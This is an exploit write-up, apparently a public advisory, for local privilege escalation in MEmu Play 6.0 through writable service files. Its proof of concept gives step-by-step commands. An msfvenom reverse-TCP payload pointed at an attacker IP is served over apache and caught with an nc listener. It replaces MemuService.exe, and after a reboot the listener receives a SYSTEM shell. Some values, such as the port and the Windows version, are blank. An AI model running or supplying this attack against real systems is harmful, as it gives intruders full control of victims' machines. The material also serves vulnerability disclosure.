# Version: 6.0.

# Tested on: Windows  / Windows 

# Description:

#  Memu Play 6.0. suffers from Privilege Escalation due to insecure file permissions

# Prerequisites

# Local, Low privilege access with restart capabilities

# Details

# By default the Authenticated Users group has the modify permission to ESM folders/files as shown below.

# A low privilege account is able to rename the MemuService.exe file located in this same path and replace

# with a malicious file that would connect back to an attacking computer giving system level privileges

# (nt authority\system) due to the service running as Local System.

# While a low privilege user is unable to restart the service through the application, a restart of the

# computer triggers the execution of the malicious file.

# Proof of Concept

. Generate malicious .exe on attacking machine

    msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.130 LPORT= -f exe > /var/www/html/MemuService.exe

. Setup listener and ensure apache is running on attacking machine

    nc -lvp

    service apache2 start

. Download malicious .exe on victim machine

    Open browser to http://192.168.1.130/MemuService.exe and download

. Overwrite file and copy malicious .exe.

    Renename C:\Program Files (x86)\Microvirt\MEmu\MemuService.exe > MemuService.bak

    Copy/Move downloaded 'MemuService.exe' file to C:\Program Files (x86)\Microvirt\MEmu\

. Restart victim machine

. Reverse Shell on attacking machine opens

    C:\Windows\system32>whoami

    whoami

    nt authority\system
